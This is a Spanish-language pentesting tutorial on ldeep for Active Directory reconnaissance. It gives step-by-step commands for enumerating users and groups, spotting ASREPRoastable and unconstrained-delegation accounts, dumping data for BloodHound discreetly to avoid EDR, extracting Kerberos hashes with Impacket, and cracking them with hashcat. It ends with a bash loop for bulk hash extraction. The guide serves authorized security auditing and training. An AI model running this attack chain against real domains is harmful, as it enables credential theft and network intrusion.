Guía Rápida de ldeep en Kali
Guía Rápida de ldeep en Kali
ldeep es una herramienta de reconocimiento escrita en Python, diseñada específicamente para consultar y enumerar servidores de LDAP (especialmente en entornos de Active Directory). Es muy apreciada en el mundo del pentesting por ser rápida, eficiente y por permitir extraer una gran cantidad de información con pocos comandos.
Aquí tienes una guía rápida para empezar a usarla en Kali Linux.
1. Instalación
Aunque Kali tiene muchos repositorios, lo más común es instalar ldeep directamente desde PyPi usando pipx (la forma recomendada para evitar conflictos de dependencias):
pipx install ldeep
2. Comandos Básicos y Sintaxis
La estructura básica de un comando en ldeep suele ser:
ldeep <método_de_autenticación> <opciones_del_servidor> <módulo> <comando>
Métodos de Autenticación
LDAP:
-u usuario -p password -d dominio -s ldap://IPKerberos:
-k(si ya tienes un ticket TGT válido).NTLM: Usando el hash con
-Hen lugar de la contraseña.
3. Principales Módulos y sus Funciones
ldeep organiza sus funciones en "módulos". Aquí te detallo los más útiles para una auditoría:
| Módulo | Descripción | Ejemplo de uso |
| Users | Lista usuarios y sus detalles. | ldeep ldap ... users list |
| Groups | Muestra grupos y sus miembros. | ldeep ldap ... groups list |
| Computers | Lista equipos en el dominio. | ldeep ldap ... computers list |
| Policy | Muestra políticas de contraseñas. | ldeep ldap ... policy show |
| Trusts | Enumera relaciones de confianza. | ldeep ldap ... trusts list |
4. Ejemplos Prácticos
Imagina que el controlador de dominio es 10.10.10.100, el dominio es corp.local y tienes las credenciales paco:Pass123.
Enumerar todos los usuarios
ldeep ldap -u paco -p Pass123 -d corp.local -s ldap://10.10.10.100 users list
Buscar usuarios con descripciones interesantes
A menudo los administradores olvidan contraseñas en el campo "Description":
ldeep ldap -u paco -p Pass123 -d corp.local -s ldap://10.10.10.100 users list --description
Ver quién tiene privilegios de Administrador de Dominio
ldeep ldap -u paco -p Pass123 -d corp.local -s ldap://10.10.10.100 groups members "Domain Admins"
Volcar todo a archivos JSON
Si quieres procesar la información después o usarla en otras herramientas:
ldeep ldap ... all out_directory/
¿Por qué usar ldeep en lugar de otros?
A diferencia de ldapsearch (que tiene una sintaxis muy compleja y difícil de recordar), ldeep es legible para humanos. Además, genera salidas automáticas que facilitan encontrar vulnerabilidades comunes como:
Usuarios con Pre-Auth de Kerberos desactivada (útil para ASREPRoast).
Cuentas con delegación de Kerberos configurada.
Cuentas con contraseñas que nunca expiran.
Usar ldeep para preparar ataques o alimentar otras herramientas es una de sus funciones más potentes, ya que te ahorra mucho tiempo de limpieza de datos.
Aquí tienes cómo usarlo para los dos escenarios más comunes en auditorías de Active Directory:
1. Identificar usuarios para ASREPRoasting
El ataque de ASREPRoasting busca usuarios que tienen activada la opción "Do not require Kerberos preauthentication". Si encuentras uno, puedes solicitar un ticket TGT y crackearlo offline para obtener su contraseña.
Con ldeep, puedes listar estos usuarios vulnerables de forma directa:
ldeep ldap -u usuario -p password -d dominio -s ldap://IP users asreproast
Lo que hace: Filtra automáticamente el atributo
userAccountControlpara encontrar el bit específico que indica que no requiere preautenticación.Siguiente paso: Si obtienes resultados, puedes usar GetNPUsers.py (de Impacket) para extraer el hash y meterlo en John the Ripper o Hashcat.
2. Preparar datos para BloodHound (Ingesta manual)
Aunque SharpHound es el estándar para recolectar datos de BloodHound, a veces las defensas (EDR/Antivirus) lo bloquean. ldeep puede extraer información de LDAP de forma más discreta y guardarla en archivos que BloodHound entiende.
Para volcar toda la información del dominio en formato compatible:
ldeep ldap -u usuario -p password -d dominio -s ldap://IP all salida_bloodhound/
¿Qué genera? Crea una carpeta con archivos
.jsonque contienen usuarios, grupos, equipos y relaciones de confianza.Cómo usarlo: Simplemente arrastra esos archivos JSON dentro de la interfaz de BloodHound (o BloodHound-CE) y verás el grafo de ataque completo.
3. Identificar delegación de Kerberos (Unconstrained Delegation)
Si un equipo tiene delegación "no restringida", cualquier usuario que se conecte a él deja su ticket en memoria, permitiendo que un atacante lo robe.
Para encontrar estas máquinas peligrosas:
ldeep ldap -u usuario -p password -d dominio -s ldap://IP computers list --unconstrained
Resumen de flags útiles:
-o json: Cambia la salida a formato JSON para scripts.
-k: Úsalo si ya estás dentro de una máquina comprometida y tienes un ticket Kerberos (sin necesidad de escribir la contraseña).
-v: Modo "verbose" para ver qué está pasando detrás de escenas.
Una vez que has identificado una cuenta vulnerable (como un usuario de ASREPRoast o un equipo con Delegación) y has extraído el hash, el siguiente paso crítico es el cracking offline.
Aquí te explico cómo pasar de la salida de ldeep al descifrado real utilizando Hashcat, la herramienta más rápida para esto en Kali Linux.
1. El flujo de trabajo: De ldeep a Hashcat
Para que entiendas el proceso lógico, el flujo suele ser este:
Enumerar: Usas
ldeeppara encontrar usuarios conasreproast.Extraer: Usas
GetNPUsers.py(de Impacket) para obtener el hash en formato$krb5asrep$23$....Crackear: Usas
hashcatcon el diccionariorockyou.txt.
2. Comandos para el Cracking
Si ya tienes el hash guardado en un archivo llamado hashes.txt, estos son los comandos que debes conocer:
Para ASREPRoast (Kerberos 5, ETYPES 23)
El código de modo para este ataque en Hashcat es el 18200.
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
Para Kerberoasting (TGS-REP, ETYPES 23)
Si lo que has extraído son tickets de servicio (SPN), el código es el 13100.
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
3. Tips Pro para ser más eficiente
Usa reglas: Si el diccionario básico no funciona, añade reglas de mutación (como
best64) para probar variaciones de las contraseñas (ej:Password123!).Bashhashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.ruleFiltra por longitud: Si la política de contraseñas del dominio (que viste con
ldeep policy show) dice que el mínimo son 10 caracteres, no pierdas tiempo probando palabras de 8.Verifica el estado: Pulsa la tecla
smientras Hashcat corre para ver el progreso y el tiempo estimado.
4. ¿Cómo automatizarlo un poco más?
Si ldeep te devuelve una lista larga de usuarios vulnerables, puedes usar un pequeño bucle en Bash para intentar extraer los hashes de todos a la vez antes de pasarlos a Hashcat:
# Ejemplo rápido para extraer hashes de una lista de usuarios
for user in $(cat usuarios_vulnerables.txt); do
GetNPUsers.py dominio.local/$user -no-pass -dc-ip 10.10.10.100 >> todos_los_hashes.txt
done